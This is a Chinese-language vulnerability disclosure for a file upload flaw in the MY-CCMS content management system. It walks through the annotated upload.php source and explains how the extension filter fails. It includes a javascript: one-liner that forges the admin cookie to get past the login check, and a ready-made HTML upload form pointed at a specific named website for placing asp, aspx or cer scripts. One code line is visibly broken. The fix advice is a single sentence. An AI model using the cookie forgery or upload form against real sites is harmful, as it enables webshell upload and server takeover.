影响版本:最新 Version : 5.1.0 及以前所有版本
官方地址:http://www.my-ccms.com/
漏洞类型:文件上传
漏洞描述:MY-CCMS 美易企业内容管理系统,上传页过滤不严导致asp\aspx\cer等脚本文件上传漏洞。
漏洞分析:
1.@require( "../m_header.php" );
2.
3.if ( empty( $_COOKIE['TM_aid'] ) ) //COOKIE验证,javascript即可突破。javascript:alert(document.cookie="TM_aid ="+escape("bugtosafe@gmail.com"));
4.
5.{
6.
7. showmsg( "请登陆!" );
8.
9.}
10.
11.ini_set( "html_errors", "0" );
12.
13.if ( !file_exists( $dir_path ) )
14.
15.{
16.
17. cmkdir( $dir_path );
18.
19.}
20.
21.$files_name = strtolower( $_FILES['Filedata']['name'] ); //将所有的字符串全部转换成小写,导致大写小写的.PHP都无法绕过。
22.
23.if ( !isset( $_FILES['Filedata'] ) && !is_uploaded_file( $_FILES['Filedata']['tmp_name'] ) && $_FILES['Filedata']['error'] != 0 )
24.
25.{
26.
27. echo "ERROR:invalid upload";
28.
29. exit( 0 );
30.
31.}
32.
33.if ( substr_count( $files_name, "." ) == 1 )
34.
35.{
36.
37. list( $fname, $ext ) = explode( ".", $files_name );
38.
39.}
40.
41.else
42.
43.{
44.
45. $ext = substr( $files_name, strrpos( $files_name, "." ) + 1 );
46.
47.}
48.
49.$nfdate = date( "Ymdis" ).substr( mt_rand( ), 0, ).".".$ext;
50.
51.$dst = D_R."/".$dir_path."/".$files_name;
52.
53.$r_name = U_R.$dir_path."/".$files_name;
54.
55.if ( file_exists( $dst ) || $CF['upfiles_name'] == 1 )
56.
57.{
58.
59. $dst = D_R."/".$dir_path."/".$nfdate;
60.
61. $r_name = U_R.$dir_path."/".$nfdate; //以上为取后缀,和文件名的。
62.
63.}
64.
65.$dst = str_replace( ".php", "_hp", $dst ); //进行替换,只能利用asp、aspx、cer 等利用了。
66.
67.@move_uploaded_file( $_FILES['Filedata']['tmp_name'], $dst );
68.
69.@chmod( $dst, 511 );
70.
71.echo "FILEID:".$r_name;
72.
73.?>
也可以新建“.asp”目录,还有跳目录漏洞等
本地构造上传页:
<form id="frmUpload" enctype="multipart/form-data"
action="http://chemlg.com/manage/upload.php" method="post">上传除了php以外的文件于根目录:<br>
<input type="file" name="Filedata" size="50"><br>
<input id="Filedata" type="submit" value="Upload">
</form>
By:俺是农村的 Email:bugtosafe@gmail.com
漏洞修复:建议过滤范围除允许的文件后缀外禁止其它所有文件类型。